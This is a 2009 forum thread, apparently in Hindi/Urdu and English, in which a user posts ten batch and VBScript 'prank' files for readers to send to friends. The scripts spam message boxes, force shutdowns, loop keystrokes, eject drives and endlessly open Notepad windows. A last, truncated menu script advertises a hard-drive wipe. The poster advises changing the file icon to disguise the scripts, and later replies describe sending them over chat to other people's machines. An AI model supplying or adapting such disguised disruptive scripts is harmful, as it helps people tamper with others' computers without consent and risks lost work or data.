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sameerbaba
07-28-2009, 05:53 PM
10 notepad tricks to fool ur frnds
1>
Cycle a message in your friend's computer:

Type :

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save it as "Anything.BAT" and send it.

2>
Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

3>
Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

4>
Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

5>
Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

6>
Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

7>
Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

8>
Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

9>
Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.


10>
Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

Dalinder Modi
07-28-2009, 10:15 PM
Yaawwnn!!!!!

meera84
07-28-2009, 11:01 PM
:smt120 :smt120 :smt120 :smt120 :smt120 :smt120 :smt120

admin
07-29-2009, 07:56 AM
wah baba wah ....kia baat hai

sameerbaba
07-29-2009, 10:49 AM
MEERA CHAKKAR AANE LAG GAY KYA
EK BAAAAAR TRY KAR KE DEKHO AGAR SAMNE WALE KO CHAKKAR NAI AAA GAYE TO MERA NAAM SAMEERBABA NAI

sameerbaba
07-29-2009, 02:47 PM
ARE YAAR BUS 2 COMMNET
ITNE BADE ARTICLE KE LIYE
EK PROFFESSIONAL HACKER KI IS SE BADI NAKAMYABI KYA HOGI

saif khalid
07-29-2009, 02:53 PM
wah sameer bhai aap ne to kamaal kar diya.

sameerbaba
07-29-2009, 02:55 PM
THNX

AUR POST LIKHNE KA ZUNOOON MILA HE
AB DEKHO KYA HOTA HE

saif khalid
07-29-2009, 02:59 PM
bhaiya junoon ko kaboo mein rakhna.
aur yun hi hamesha bane rehna.

Commondo
07-29-2009, 08:24 PM
hhhmmm....nice tricks...

sameerbaba
07-29-2009, 08:57 PM
commando sirf nice kehne se kam nai chalega
try kar ke b dekho kisi ke pc me
wo kabi nai bolega nice

Commondo
07-29-2009, 09:06 PM
hehehe...

hum ne tho apne hi system pe try karliya...

phir bhi nice kaha na...

sameerbaba
07-29-2009, 09:23 PM
ARE YAAR APNI SYSTEM PE MAT TRY KARO LENE KE DENE PAD JAYENGE

Commondo
07-29-2009, 09:27 PM
hehehee....

sabhi nahi...jo safe hai wahi....

sameerbaba
07-29-2009, 09:28 PM
ME SIRF DOSTO KO WARN KARTA HU

Commondo
07-29-2009, 09:41 PM
shukriya...

ffaseeh
07-30-2009, 08:48 AM
Yr plzzzzzzz tell me how to send the file ........
??????????????
i m really thnakful to all of u !!!!!!

sameerbaba
07-30-2009, 09:43 AM
ye file tum yahoo messaenger ya rediff messanger
ya chatting karte waqt kisiko bhi bhej sakte ho

but carefully

agar ye tumare pc me chalu ho gaya to ye kisi virus se kam nai he

sameerbaba
08-01-2009, 11:12 AM
MUJE BATCH FILE (.BAT FILE) VIA E-MAIL KESE BHEJNI HE NAI PATA PLEASE AGAR KISI KO PATA HO TO PLEASE YAHA COMMENT ME ZARUR LIKHE
JUST FOR KNOWLDEGE